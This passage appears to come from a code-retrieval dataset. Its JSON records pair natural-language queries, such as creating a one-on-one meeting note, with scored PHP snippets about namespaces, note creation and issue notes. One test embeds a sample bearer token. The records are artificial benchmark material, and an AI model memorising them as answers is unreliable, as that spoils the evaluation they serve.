$this->sNamespace;\n\t}", "title": "" }, { "docid": "fdcf16e3b4ccd4d510a08fad543400c2", "score": "0.5337171", "text": "public function set($namespace, $key, $value);", "title": "" }, { "docid": "a07fc8e5f9b7aaafb88da00c0e46d437", "score": "0.53283423", "text": "protected function setAppNamespaceOn($file)\n {\n file_put_contents($file, str_replace(\n 'App\\\\',\n $this->laravel->getNamespace(),\n file_get_contents($file)\n ));\n }", "title": "" }, { "docid": "096deacb06d304ead6e5142c83afc25b", "score": "0.53275007", "text": "abstract function getTargetNamespace(): string;", "title": "" }, { "docid": "6c0c1aa0c7ce4e76171293be98e74395", "score": "0.5325395", "text": "public function incVersion($_nameSpace='global') {\n\t\t\n\t\t$this->set('namespace',$_nameSpace); // set namespace\n\t\t$this->increment($_nameSpace); // increment version key\n }", "title": "" }, { "docid": "4423d3d92678818a2616e833be0f5d57", "score": "0.5299088", "text": "public function prefixNS($namespace)\n {\n $this->ns = trim($namespace, '.\\\\') . '.';\n return $this;\n }", "title": "" }, { "docid": "80f8f33d238be5dd8fd38ca34080c8a3", "score": "0.5292737", "text": "function setClass($name, $ns=null, $arguments=null) {\n\t\tif ( AnyRpc::get(\"targetService\") === null) {\n\t\t\t$dottedName = str_replace (\"_\",\".\", $name);\n\t\t\t$this->_rpcServer->setClass($name, $dottedName, $arguments);\n\t\t} else {\n\t\t\t$this->_rpcServer->setClass($name, null, $arguments);\n\t\t}\n\n\t\t\n\t}", "title": "" }, { "docid": "824ccb1929ac5414a78fd96aebbcfebd", "score": "0.5285227", "text": "public function testReplaceNetNamespace()\n {\n\n }", "title": "" }, { "docid": "f16240a05c61c0c586a7a92052cf6f0c", "score": "0.52803475", "text": "public static function setFirstNamespace(string $firstNamespace): void\n {\n static::$firstNamespace = $firstNamespace;\n }", "title": "" }, { "docid": "338ab64d67a078bbc81a58f0a078d808", "score": "0.5274101", "text": "private function setModuleNS($ns)\n {\n $this->ns = $ns;\n }", "title": "" }, { "docid": "ec44adce7feea30ca83eba1e9545810d", "score": "0.5264468", "text": "protected function setNamespace($stub, $namespace = null)\n {\n if ($namespace !== null) {\n return str_replace(\n 'NAMESPACE',\n \"\\nnamespace {$namespace};\\n\",\n $stub\n );\n }\n\n return str_replace('NAMESPACE', '', $stub);\n }", "title": "" }, { "docid": "816599271df46d233ca8f317d11aaa6f", "score": "0.5225524", "text": "public function setNamespace(Zend_Service_Yadis_Xrds_Namespace $namespace)\r\n {\r\n $this->_namespace = $namespace;\r\n return $this;\r\n }", "title": "" }, { "docid": "6640499067b7876284416945bd1be3fa", "score": "0.52213466", "text": "public function getNamespace() {\n\t\tif (null === $this->_namespace) {\n\t\t\t$this->_namespace = new App_Form_Wizard_Session(\n\t\t\t\t\t\t\t$this->getNamespaceName()\n\t\t\t);\n\t\t}\n\t\treturn $this->_namespace;\n\t}", "title": "" }, { "docid": "bdde8d921f4dff681dc272a38bcc96cd", "score": "0.5217966", "text": "protected function _appendNamespaces()\n {\n $this->getRootElement()->setAttribute(\n 'xmlns:content',\n 'http://purl.org/rss/1.0/modules/content/'\n );\n }", "title": "" }, { "docid": "3cd31ec96d9574634fb057a9a2a02bbb", "score": "0.52011937", "text": "function NamespaceCollection(){\n\t\t$namespaces_str = Sushee_Session::getVariable($this->getSessionVarname());\n\t\tif($namespaces_str!==false){\n\t\t\t$this->namespaces_str = $namespaces_str;\n\t\t}\n\t}", "title": "" }, { "docid": "f5b9019f0833dea2ae0458a31c061dd4", "score": "0.5198481", "text": "public function prefix($namespace)\n {\n if (strpos($namespace, ':') === false) {\n $namespace .= ':';\n }\n self::$defaultNamespace = $namespace;\n }", "title": "" }, { "docid": "ceeaa3b905b3a66fd997b3f8c15c9b0b", "score": "0.5197973", "text": "public static function getNamespace() {\n\t\treturn \"KentVoyager\";\n\t}", "title": "" }, { "docid": "2f99eebba0231f219745ddf8a69d727e", "score": "0.5197036", "text": "protected function getNamespace()\n {\n $namespace = 'App\\Controllers\\\\';\n\n return $namespace;\n }", "title": "" }, { "docid": "f1b7a7bb5170c4b77fb0fd6f5fc418e1", "score": "0.51943547", "text": "protected function getNamespace()\n {\n $namespace = 'App\\Controllers\\\\';\n if (array_key_exists('namespace', $this->params)) {\n $namespace .= $this->params['namespace'] . '\\\\';\n }\n return $namespace;\n }", "title": "" } ]
3e91d71db85ed7a7fe9cc9833a2d8caf
Create a one on one note for a one on one meeting.
[ { "docid": "ced25d705c39a0098f99affc0236248c", "score": "0.5088679", "text": "public function execute(array $data): OneOnOneNote\n {\n $this->data = $data;\n $this->validate();\n $this->create();\n $this->log();\n\n return $this->note;\n }", "title": "" } ]
[ { "docid": "f917fa1dabadeeccaac0d9656b124442", "score": "0.61278355", "text": "public function patient_new_note() {\n\t\t\n\t\t$db_insert_id = Model::get(\"patient\")->create_new_note_placeholder($_GET[\"patient_id\"], Model::get(\"user\")->get_user()[\"user_id\"]);\n\t\tView::go(\"patient_new_note\", array(\"patient_id\" => $_GET[\"patient_id\"], \"db_insert_id\" => $db_insert_id));\n\t\t\n\t}", "title": "" }, { "docid": "066246f9b05787fa3eec761f80991a25", "score": "0.60141575", "text": "public function noteAdd(){\n $user = $this->_ap_right_check();\n if(!$user){\n return;\n } \n $this->Notes->add($user);\n }", "title": "" }, { "docid": "20f438724c013f6e99073e566f7c1b53", "score": "0.5925131", "text": "public function testCreateIssueWithTimeTrackingNote() {\n\t\t$this->skipIfTimeTrackingIsNotEnabled();\n\n\t\t$t_issue_to_add = $this->getIssueToAdd();\n\t\t$t_issue_to_add['notes'] = array(\n\t\t\tarray(\n\t\t\t\t'text' => 'first note',\n\t\t\t\t'time_tracking' => '30'\n\t\t\t)\n\t\t);\n\n\t\t$t_issue_id = $this->client->mc_issue_add( $this->userName, $this->password, $t_issue_to_add );\n\n\t\t$t_issue = $this->client->mc_issue_get( $this->userName, $this->password, $t_issue_id );\n\n\t\t# verify note existence and time tracking data\n\t\t$this->assertEquals( 1, count( $t_issue->notes ) );\n\n\t\t$t_note = $t_issue->notes[0];\n\n\t\t$this->assertEquals( 30, $t_note->time_tracking );\n\n\t\t$this->client->mc_issue_delete( $this->userName, $this->password, $t_issue_id );\n\t}", "title": "" }, { "docid": "c8a356182eab552545fbf0e97f0b9c3d", "score": "0.5874467", "text": "public function testAddNote()\n { \n $this->_instance->addNote($this->_objects['note']);\n \n $note = $this->_instance->getNote($this->_objects['note']->getId());\n \n $this->assertEquals($this->_objects['note']->note, $note->note); \n }", "title": "" }, { "docid": "3a95816fc97871cc675dc436b087b66c", "score": "0.58685094", "text": "public function create($note_text)\r\n {\r\n // clean the input to prevent for example javascript within the notes.\r\n $note_text = strip_tags($note_text);\r\n\r\n\r\n // The AUTO_INCREMENT option seems missing in SQLite (PdoDbMore) [seq # 20140702.0421]\r\n if ((DB_SWITCH == PdoDbMore::MySQL) or (DB_SWITCH == PdoDbMore::PgSQL))\r\n {\r\n $sql = \"INSERT INTO notes (note_text, user_id) VALUES (:note_text, :user_id)\";\r\n }\r\n else if (DB_SWITCH == PdoDbMore::SQLite)\r\n {\r\n // manually retrieve the next note id\r\n $s = \"SELECT MAX(note_id) AS NoteIdMax FROM notes\";\r\n $q = $this->db->prepare($s);\r\n $q->execute();\r\n $r = $q->fetch(PDO::FETCH_OBJ);\r\n $iNoteIdMax = (int) $r->NoteIdMax; // is 0 if no note yet exists\r\n if ($iNoteIdMax < 1) { $iNoteIdMax = 10000; } // set initial id-1, just for fun\r\n $iNoteIdMax++;\r\n\r\n // use the manually retrieved next note id\r\n $sql = \"INSERT INTO notes (note_id, note_text, user_id) VALUES ($iNoteIdMax, :note_text, :user_id)\";\r\n }\r\n else\r\n {\r\n die('Fatal - Database switch invalid.');\r\n }\r\n\r\n\r\n $query = $this->db->prepare($sql);\r\n\r\n // Adjust for DB_SWITCH (PdoDbMore) [# 20140702.0333]\r\n ////$query->execute(array(':note_text' => $note_text, ':user_id' => $_SESSION['user_id']));\r\n qExecute($query, array(':note_text' => $note_text, ':user_id' => $_SESSION['user_id']));\r\n\r\n ////$count = $query->rowCount();\r\n $count = rowCounti($query, array(':note_text' => $note_text, ':user_id' => $_SESSION['user_id'])); // Adjust for DB_SWITCH (PdoDbMore) [# 20140702.0334]\r\n\r\n if ($count == 1) {\r\n return true;\r\n } else {\r\n $_SESSION[\"feedback_negative\"][] = FEEDBACK_NOTE_CREATION_FAILED;\r\n }\r\n // default return\r\n return false;\r\n }", "title": "" }, { "docid": "665b867f3c87b5150a7b33d35954cd46", "score": "0.5801793", "text": "public function note()\n {\n return $this->hasOne(Note::class);\n }", "title": "" }, { "docid": "a832311a46df44855414349641a810ef", "score": "0.57764477", "text": "public function note()\n {\n return $this->morphOne(config('notes.notes.model'), 'noteable');\n }", "title": "" }, { "docid": "74d3b3fea9b84cb0114d9b956d413412", "score": "0.5768836", "text": "public function note()\n {\n return $this->hasOne('App\\Note');\n }", "title": "" }, { "docid": "69a282730c6b7f938806795983403d05", "score": "0.5754766", "text": "public function testCreateIssueWithMiscNote() {\n\t\t$t_issue_to_add = $this->getIssueToAdd();\n\t\t$t_issue_to_add['notes'] = array(\n\t\t\tarray(\n\t\t\t\t'text' => 'first note',\n\t\t\t\t'note_type' => 2,\n\t\t\t 'note_attr' => 'attr_value'\n\t\t\t)\n\t\t);\n\n\t\t$t_issue_id = $this->client->mc_issue_add( $this->userName, $this->password, $t_issue_to_add );\n\n\t\t$this->deleteAfterRun( $t_issue_id );\n\n\t\t$t_issue = $this->client->mc_issue_get( $this->userName, $this->password, $t_issue_id );\n\n\t\t# verify note existence and time tracking data\n\t\t$this->assertEquals( 1, count( $t_issue->notes ) );\n\n\t\t$t_note = $t_issue->notes[0];\n\n\t\t$this->assertEquals( 2, $t_note->note_type );\n\t\t$this->assertEquals( 'attr_value', $t_note->note_attr );\n\t}", "title": "" }, { "docid": "45e332436e1f8c7f7d780132687e7860", "score": "0.57544416", "text": "public function create()\n {\n return view('app.notes.newnote');\n }", "title": "" }, { "docid": "0f9f410fb7d4c96ad505e82c62006c00", "score": "0.5749176", "text": "public function Add_Note($data) {\n // Populate the entry data\n $this->store_note = array(\n 'uuid' => isset($data['uuid']) ? $data['uuid'] : uniqid(),\n 'entry_uuid' => $data['entry_uuid'],\n 'form_uuid' => $data['form_uuid'],\n 'note_data' => $data['note_data'],\n 'time_created' => isset($data['time_created']) ? $data['time_created'] : time(),\n 'time_modified' => isset($data['time_modified']) ? $data['time_modified'] : time(),\n 'date_created' => isset($data['date_created']) ? $data['date_created'] : date(\"Y-m-d H:i:s\"),\n 'date_modifed' => isset($data['date_modifed']) ? $data['date_modifed'] : date(\"Y-m-d H:i:s\"),\n );\n // Return for chaining\n return $this;\n }", "title": "" }, { "docid": "2cdc7cec4feffa95842ab1d3345725f3", "score": "0.5667885", "text": "public function creating(FinReqNote $finReqNote)\n {\n $finReqNote->user_id = auth()->user()->id();\n }", "title": "" }, { "docid": "645e6e81046ea6aef5dd4586bd05d7d8", "score": "0.5661255", "text": "public function addNote(Impersonated $event): void\n {\n $this->bus->dispatch(\n new CreateModeratorNote(\n $event->actor,\n $event->user->id,\n app('translator')->trans(\n 'fof-moderator-notes.api.auto_note',\n [\n 'reason' => (property_exists($event, 'switchReason') &&\n $event->switchReason !== ''\n ? $event->switchReason\n : app('translator')->trans('fof-moderator-notes.api.no_reason_provided')),\n ]\n )\n )\n );\n\n // Leave moderator note on impersonate actor\n $this->bus->dispatch(\n new CreateModeratorNote(\n $event->actor,\n $event->actor->id,\n app('translator')->trans(\n 'fof-moderator-notes.api.auto_note_actor',\n [\n 'username' => $event->user->username,\n 'userId' => $event->user->id,\n 'reason' => (property_exists($event, 'switchReason') &&\n $event->switchReason !== ''\n ? $event->switchReason\n : app('translator')->trans('fof-moderator-notes.api.no_reason_provided')),\n ]\n )\n )\n );\n }", "title": "" }, { "docid": "02bb136fd2fb6bd3372716f3c450e49e", "score": "0.5648734", "text": "public function testCreateAndPublishNoteObject()\n {\n // Create a temporary repository\n $tempRepoDirectory = sys_get_temp_dir().DIRECTORY_SEPARATOR.'temp-repo';\n $payload = \"This is a sample **note object**. It features:\\n\\n\";\n $payload .= \"* Multiple sencentes / lines\\n* A simple list\";\n $creationDate = new \\DateTimeImmutable('yesterday');\n\n $note = $this->createRepositoryAndNoteObject($tempRepoDirectory, $payload, $creationDate);\n $this->assertInstanceOf(Note::class, $note);\n $this->assertEquals($payload, $note->getPayload());\n $this->assertFileExists(\n $tempRepoDirectory.str_replace(\n '/',\n DIRECTORY_SEPARATOR,\n $note->getRepositoryLocator()->withExtension(getenv('OBJECT_RESOURCE_EXTENSION'))\n )\n );\n $this->assertEquals($creationDate, $note->getCreated());\n $this->assertEquals('This is a sample note object. It features:', $note->getTitle());\n\n /** @var ApparatNote $noteApparatObject */\n $noteApparatObject = ObjectFacade::load('/repo'.$note->getRepositoryLocator());\n $this->assertInstanceOf(ApparatNote::class, $noteApparatObject);\n $this->assertEquals(ApparatNote::TYPE, $noteApparatObject->getType());\n $this->assertEquals('This is a sample note object. It features:', $noteApparatObject['name']);\n\n // Delete temporary repository\n $this->deleteRecursive($tempRepoDirectory);\n }", "title": "" }, { "docid": "594cdd431df27221126779c4d29c7365", "score": "0.5613494", "text": "public function create()\n {\n //\n return view('admin.notes.create');\n }", "title": "" }, { "docid": "43e61ae7a91b45332c6033211ab0a7d6", "score": "0.5592463", "text": "public function create()\n {\n //\n return view('noteview.create');\n }", "title": "" }, { "docid": "58da1d7cbdfd8e0ea6a0e87c8e49d8e8", "score": "0.5587466", "text": "public function create_one($referralInstitution, $referralName, $referralPhone, $youthNo, $project, $referralTarget, $referralAttitude,\n $referralAttitudeOther, $majorDemand, $majorDemandOther, $isWant, $openCase) {\n\n $this->project = $project;\n $this->referral_institution = $referralInstitution;\n $this->referral_name = $referralName;\n $this->referral_phone = $referralPhone;\n $this->youth = $youthNo;\n $this->referral_target = $referralTarget;\n $this->referral_attitude = $referralAttitude;\n $this->referral_attitude_other = $referralAttitudeOther;\n $this->major_demand = $majorDemand;\n $this->major_demand_other = $majorDemandOther;\n $this->is_want = $isWant;\n $this->open_case = $openCase;\n return $this->db->insert('intake', $this);\n }", "title": "" }, { "docid": "ac4151e2e7144dff1df0b877b3309f19", "score": "0.55552566", "text": "private function add_new_note() {\n\t\tglobal $database, $user;\n\n\t\t$imageID = int_escape($_POST[\"image_id\"]);\n\t\t$user_id = $user->id;\n\t\t$noteX1 = int_escape($_POST[\"note_x1\"]);\n\t\t$noteY1 = int_escape($_POST[\"note_y1\"]);\n\t\t$noteHeight = int_escape($_POST[\"note_height\"]);\n\t\t$noteWidth = int_escape($_POST[\"note_width\"]);\n\t\t$noteText = html_escape($_POST[\"note_text\"]);\n\n\t\t$database->execute(\"\n\t\t\t\tINSERT INTO notes\n\t\t\t\t(enable, image_id, user_id, user_ip, date, x1, y1, height, width, note)\n\t\t\t\tVALUES\n\t\t\t\t(?, ?, ?, ?, now(), ?, ?, ?, ?, ?)\",\n\t\t\t\tarray(1, $imageID, $user_id, $_SERVER['REMOTE_ADDR'], $noteX1, $noteY1, $noteHeight, $noteWidth, $noteText));\n\n\t\t$result = $database->get_row(\"SELECT LAST_INSERT_ID() AS noteID\", array());\n\t\t$noteID = $result[\"noteID\"];\n\n\t\tlog_info(\"notes\", \"Note added {$noteID} by {$user->name}\");\n\n\t\t$database->Execute(\"UPDATE images SET notes=(SELECT COUNT(*) FROM notes WHERE image_id=?) WHERE id=?\", array($imageID, $imageID));\n\n\t\t$this->add_history(1, $noteID, $imageID, $noteX1, $noteY1, $noteHeight, $noteWidth, $noteText);\n\t}", "title": "" }, { "docid": "9447b0b8ee07feed7680d52c5c2b72eb", "score": "0.55389184", "text": "public function testICanGetANewNote()\n {\n $this->get('/new');\n $this->assertTrue(false);\n }", "title": "" }, { "docid": "951171215ad5dc561c8a3551bfaf6303", "score": "0.5514258", "text": "public function create()\n {\n// return view('Note.create');\n }", "title": "" }, { "docid": "af33eeb5bbd32ed69dde20a73dc45063", "score": "0.5511427", "text": "public function createEntity(Note $myNote): void\n {\n $this->noteRepository->createEntity($myNote);\n }", "title": "" }, { "docid": "35e4d949483c7dacdb614d8967b25f71", "score": "0.5508457", "text": "public function addNote($note)\n {\n }", "title": "" }, { "docid": "cd455621a6fc90a234fd3a0a5ace9fba", "score": "0.5447822", "text": "function mc_issue_note_add( $p_username, $p_password, $p_issue_id, stdClass $p_note ) {\n\tglobal $g_project_override;\n\n\t$t_user_id = mci_check_login( $p_username, $p_password );\n\tif( $t_user_id === false ) {\n\t\treturn mci_soap_fault_login_failed();\n\t}\n\n\tif( (integer)$p_issue_id < 1 ) {\n\t\treturn SoapObjectsFactory::newSoapFault( 'Client', 'Invalid issue id \\'' . $p_issue_id . '\\'' );\n\t}\n\n\tif( !bug_exists( $p_issue_id ) ) {\n\t\treturn SoapObjectsFactory::newSoapFault( 'Client', 'Issue \\'' . $p_issue_id . '\\' does not exist.' );\n\t}\n\n\t$p_note = SoapObjectsFactory::unwrapObject( $p_note );\n\n\tif( !isset( $p_note['text'] ) || is_blank( $p_note['text'] ) ) {\n\t\treturn SoapObjectsFactory::newSoapFault( 'Client', 'Issue note text must not be blank.' );\n\t}\n\n\t$t_project_id = bug_get_field( $p_issue_id, 'project_id' );\n\t$g_project_override = $t_project_id;\n\n\tif( !mci_has_readwrite_access( $t_user_id, $t_project_id ) ) {\n\t\treturn mci_soap_fault_access_denied( $t_user_id );\n\t}\n\n\tif( !access_has_bug_level( config_get( 'add_bugnote_threshold' ), $p_issue_id, $t_user_id ) ) {\n\t\treturn mci_soap_fault_access_denied( $t_user_id, 'You do not have access rights to add notes to this issue' );\n\t}\n\n\tif( bug_is_readonly( $p_issue_id ) ) {\n\t\treturn mci_soap_fault_access_denied( $t_user_id, 'Issue \\'' . $p_issue_id . '\\' is readonly' );\n\t}\n\n\tif( isset( $p_note['view_state'] ) ) {\n\t\t$t_view_state = $p_note['view_state'];\n\t} else {\n\t\t$t_view_state = array(\n\t\t\t'id' => config_get( 'default_bug_view_status' ),\n\t\t);\n\t}\n\n\t# TODO: #17777: Add test case for mc_issue_add() and mc_issue_note_add() reporter override\n\tif( isset( $p_note['reporter'] ) ) {\n\t\t$t_reporter_id = mci_get_user_id( $p_note['reporter'] );\n\n\t\tif( $t_reporter_id != $t_user_id ) {\n\t\t\t# Make sure that active user has access level required to specify a different reporter.\n\t\t\t$t_specify_reporter_access_level = config_get( 'webservice_specify_reporter_on_add_access_level_threshold' );\n\t\t\tif( !access_has_project_level( $t_specify_reporter_access_level, $t_project_id, $t_user_id ) ) {\n\t\t\t\treturn mci_soap_fault_access_denied( $t_user_id, \"Active user does not have access level required to specify a different issue note reporter\" );\n\t\t\t}\n\t\t}\n\t} else {\n\t\t$t_reporter_id = $t_user_id;\n\t}\n\n\t$t_view_state_id = mci_get_enum_id_from_objectref( 'view_state', $t_view_state );\n\n\t$t_note_type = isset( $p_note['note_type'] ) ? (int)$p_note['note_type'] : BUGNOTE;\n\t$t_note_attr = isset( $p_note['note_type'] ) ? $p_note['note_attr'] : '';\n\n\tlog_event( LOG_WEBSERVICE, 'adding bugnote to issue \\'' . $p_issue_id . '\\'' );\n\t$t_bugnote_id = bugnote_add( $p_issue_id, $p_note['text'], mci_get_time_tracking_from_note( $p_issue_id, $p_note ), $t_view_state_id == VS_PRIVATE, $t_note_type, $t_note_attr, $t_reporter_id );\n\n\tbugnote_process_mentions( $p_issue_id, $t_bugnote_id, $p_note['text'] );\n\n\treturn $t_bugnote_id;\n}", "title": "" }, { "docid": "da85e176e43f8d37086c59c1290feb59", "score": "0.5428882", "text": "public function addNote($note){\n\n $noteData = json_decode($note, true);\n /*$newNote->setText($noteData[\"note_text\"]);\n $newNote->setID(($noteData[\"note_id\"]));\n $newNote->setTitle($noteData[\"note_title\"]);\n $newNote->setColour($noteData[\"note_colour\"]);\n $newNote->setUserID($noteData[\"note_userid\"]);*/\n\n return $this->facade->addNote($noteData[\"note_userid\"], $noteData[\"note_title\"]);\n }", "title": "" }, { "docid": "75fd1fe13c97de385f8ca7c478249463", "score": "0.54270476", "text": "public function actionCreate()\n {\n $model = new NotetakingNotes();\n \n if (Yii::$app->user->can('createNote')){\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n \n return $this->redirect(['view', 'user_id' => $model->user_id, 'id' => $model->id]);\n }\n \n return $this->render('create', [\n 'model' => $model,\n ]);\n }else $this->goBack();\n\n}", "title": "" }, { "docid": "006e90075a1eb8c6b3ffc50460e3c8ac", "score": "0.5426027", "text": "public function run()\n {\n factory(SharedNote::class, 20)->create();\n }", "title": "" }, { "docid": "2cb40feafc3bd57fb221845c8ff1f9d8", "score": "0.5419263", "text": "public function createAction(\\BoergenerWebdesign\\BwDpsgCorona\\Domain\\Model\\Meeting $meeting) : void {\n if(PermissionUtility::hasMeetingPersmission($meeting)) {\n $this -> meetingRepository -> add($meeting);\n $this -> addFlashMessage(\"Die Anwesenheitsliste wurde angelegt!\");\n } else {\n $this -> addFlashMessage(\"Du hast nicht die notwendigen Rechte um die Anwesenheitsliste anzulegen!\", \"Die Anwesenheitsliste konnte nicht angelegt werden:\");\n }\n $this -> redirect('manage');\n }", "title": "" }, { "docid": "58986f594fa99ef3c1498160c2acc65f", "score": "0.54152375", "text": "public function addNote($note_body, HighrisePerson $person) {\n\t\t$note = new HighriseNote($this->_hr);\n\t\t$note->setBody($note_body);\n\t\t$person->addNote($note);\n\t\t$person->save();\n\t\treturn $note;\n\t}", "title": "" }, { "docid": "47538921c6ec8b86a1a5c58149391859", "score": "0.5395468", "text": "public function test_NoteCreate()\n {\n $response = $this->withHeaders([\n 'Content-Type' => 'Application/json',\n 'Authorization'=>'Bearer \n eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMjcuMC4wLjE6ODAwMFwvYXBpXC9sb2dpbiIsImlhdCI6MTYyMjg5MjA0MywiZXhwIjoxNjIyODk1NjQ0LCJuYmYiOjE2MjI4OTIwNDQsImp0aSI6IjdUZGY3OVMxOHQxZDJGYTIiLCJzdWIiOjIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.UZoDqQk8Oxysi4fWVo0trMSyduX3GZDB_9k_9iO1OcY'\n ])->json('POST', '/api/createNote', [\n 'title'=>'notes testing',\n 'body'=>'writing test cases',\n ]);\n $response->assertStatus(201);\n }", "title": "" }, { "docid": "77970cc09f831b5bac4746f2fa4d0d87", "score": "0.5385473", "text": "public static function sendPmNote()\t{\n\t\t}", "title": "" }, { "docid": "b07d002052002409bf2e90024225d8f9", "score": "0.5379999", "text": "public function create(BotMan $bot): void\n {\n $bot->startConversation(new CreateReminderConversation());\n }", "title": "" }, { "docid": "459b6697b5c8af93cc5f925d15c52500", "score": "0.5370641", "text": "public function setNote($note);", "title": "" }, { "docid": "eb9cead33c2365f8f61e3d99c738167b", "score": "0.5359897", "text": "function makeANote($irc, $data) {\n\t\t$revokePrivs = array(\n\t\t\t\t\"NotBot\",\n\t\t\t\t\"AakashBot\",\n\t\t\t\t\"VinceTron\",\n\t\t\t\t\"neilforobot\"\n\t\t\t\t);\n\n\t\tif (in_array($data->nick, $revokePrivs)) {\n\t\t\t$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, $data->nick.\" Your note privelages have been revoked\");\n\t\t}\n\n\t\telse {\n\t\t\t$note = substr($data->message, 6);\n\t\t\t$person = $data->host;\n\n\t\t\tif ($data->message == \"!notes\") {\n\n\t\t\t\t// checks to see if the file exists, if yes, open it and read out the notes line by line.\n\t\t\t\tif (file_exists(\"Function_Files/Notes/\".$person.\".txt\")) {\n\t\t\t\t\t$currentNotes = fopen(\"Function_Files/Notes/\".$person.\".txt\", \"r\");\n\t\t\t\t\t$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, $data->nick.\" Your Notes:\");\n\n\t\t\t\t\twhile(!feof($currentNotes)) {\n \t \t$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, fgets($currentNotes));\n \t}\n\n \tfclose($currentNotes);\n\t\t\t\t}\n\n\t\t\t\telse {\n\t\t\t\t\t$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, \"You have no notes yet\");\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// clear all the notes and delete the File\n\t\t\telseif ($data->message == \"!notes clear\") {\n\t\t\t\tunlink(\"Function_Files/Notes/\".$person.\".txt\");\n\t\t\t\t$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, \"Your notes are gone. I hope you've got a good memory\");\n\t\t\t}\n\n\t\t\t// if the file doesnt exist or they wish to add a note, bot looks for the file, creates if necessary, writes the note and closes the file.\n\t\t\telse {\n\t\t\t\t$makeNote = fopen(\"Function_Files/Notes/\".$person.\".txt\", \"a+\");\n\t\t\t\tfwrite($makeNote, $note.\"\\n\");\n\t\t\t\tfclose($makeNote);\n\n\t\t\t\t$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, \"Note Taken\");\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "e9745da839e3e2166c9ccde55c8a5f55", "score": "0.53486645", "text": "private function createMeeting($data)\n {\n $user = Auth::user(); //get authenticated user\n $meeting = new \\App\\Meeting();\n $meeting->course_id = $data->course_id;\n $meeting->instructorMeeting = $data->instructorMeeting;\n $meeting->start_time = $data->start_time;\n $meeting->end_time = $data->end_time;\n $meeting->save();\n //attach authenticated user and instructor XOR student to the meeting\n $meeting->users()->attach($user);\n if($data->instructorMeeting){\n $meeting->users()->attach($data->instructor);\n }else{\n $meeting->users()->attach($data->student);\n }\n }", "title": "" }, { "docid": "485ace919c72f3959e4040cd0a580045", "score": "0.5333803", "text": "public function create()\n {\n return view('activities.public_talk.create');\n }", "title": "" }, { "docid": "53df0aa8295b8a164e6aff661805cf95", "score": "0.5333165", "text": "public function run()\n {\n $items = [\n \n ['project_id' => 1, 'text' => 'Note about this project'],\n\n ];\n\n foreach ($items as $item) {\n \\App\\Note::create($item);\n }\n }", "title": "" }, { "docid": "246765a45b0a6badd4fde260a2a78bc8", "score": "0.5326454", "text": "public function note(){\n \n return $this->morphOne(Note::class,'notable');\n \n }", "title": "" }, { "docid": "4be68e44bcf71a32b7d3b2138ee1f7a4", "score": "0.53173643", "text": "public function addNote(FHIRAnnotation $note = null)\n {\n $this->note[] = $note;\n return $this;\n }", "title": "" }, { "docid": "4be68e44bcf71a32b7d3b2138ee1f7a4", "score": "0.53173643", "text": "public function addNote(FHIRAnnotation $note = null)\n {\n $this->note[] = $note;\n return $this;\n }", "title": "" }, { "docid": "274bcc18ab7f0476632113f8ba1b1361", "score": "0.5317047", "text": "static function addNote($note)\n {\n global $db;\n $id = NULL;\n\n if (self::isValidNote($note)) {\n\n $note = self::castNote($note);\n try {\n $id = $db->insert('note', $note);\n } catch (\\Exception $exception) {\n Log::write($exception, $db->getLastError());\n }\n }\n\n return $id;\n }", "title": "" }, { "docid": "446c357cda8e115e93ed35c2d4bc69aa", "score": "0.53146106", "text": "public static function create(array $props)\n {\n $note = new Note();\n $note->id = parent::getValue($props, \"id\");\n $note->note = parent::getValue($props, \"note\");\n $note->created_date = parent::getValue($props, \"created_date\");\n return $note;\n }", "title": "" }, { "docid": "ac73c18719e59cc62326ca78c511fe46", "score": "0.529842", "text": "function create_post()\n {\n //Create the post with information submitted\n if(isset($_POST['note-text']) && !($_POST['note-text'] == \"\"))\n {\n $query = $this->pdo->prepare('INSERT INTO note (title, description, created_at, updated_at) VALUES(:title,:description, NOW(), NOW())');\n $query->execute(array(\n ':title' => $_POST['note-title'],\n ':description' => $_POST['note-text']\n ));\n }\n }", "title": "" }, { "docid": "b136cddda11a9df704f047d74c4d23ec", "score": "0.5284684", "text": "function islandora_workflow_set_object_note($object_id, $subject, $body) {\n\n module_load_include('inc', 'fedora_repository', 'api/fedora_item');\n\n global $user;\n\n $item = new Fedora_Item($object_id);\n $workflow_parser = new DOMDocument();\n\n if (!isset($item->datastreams['islandora_workflow'])) {\n return FALSE;\n }\n // Get the DS xml in dom object.\n $workflow_string = $item->get_datastream_dissemination('islandora_workflow');\n $workflow_parser->loadXML($workflow_string);\n\n // Modify DS xml.\n /* Get elements to populate dynamicaly,\n * these lists are dynamic so no need to update later.*/\n $from_node_list = $workflow_parser->getElementsByTagName('from');\n $timestamp_node_list = $workflow_parser->getElementsByTagName('timestamp');\n $subject_node_list = $workflow_parser->getElementsByTagName('subject');\n $body_node_list = $workflow_parser->getElementsByTagName('body');\n $note_node_list = $workflow_parser->getElementsByTagName('note');\n $notes_node_list = $workflow_parser->getElementsByTagName('notes');\n\n /* Make sure that the notes and note elements\n * are present and add them if they are not.*/\n if (!$notes_node_list->item(0)) {\n $notes = $workflow_parser->createElement('notes');\n $workflow_node_list = $workflow_parser->getElementsByTagName('workflow');\n $workflow_node_list->item(0)->appendChild($notes);\n\n }\n if (!$note_node_list->item(0)) {\n $note = $workflow_parser->createElement('note');\n $notes_node_list->item(0)->appendChild($note);\n }\n\n // Create from node.\n $from = $workflow_parser->createElement('from');\n $from->appendChild($workflow_parser->createTextNode($user->name));\n if ($from_node_list->item(0)) {\n foreach ($from_node_list as $from_element) {\n $from_element->parentNode->replaceChild($from, $from_element);\n }\n }\n else {\n $note_node_list->item(0)->appendChild($from);\n }\n\n // Create timestamp.\n $timestamp = $workflow_parser->createElement('timestamp');\n $timestamp->appendChild($workflow_parser->createTextNode(date('c')));\n if ($timestamp_node_list->item(0)) {\n foreach ($timestamp_node_list as $timestamp_element) {\n // Insert text node.\n $timestamp_element->parentNode->replaceChild($timestamp, $timestamp_element);\n }\n }\n else {\n 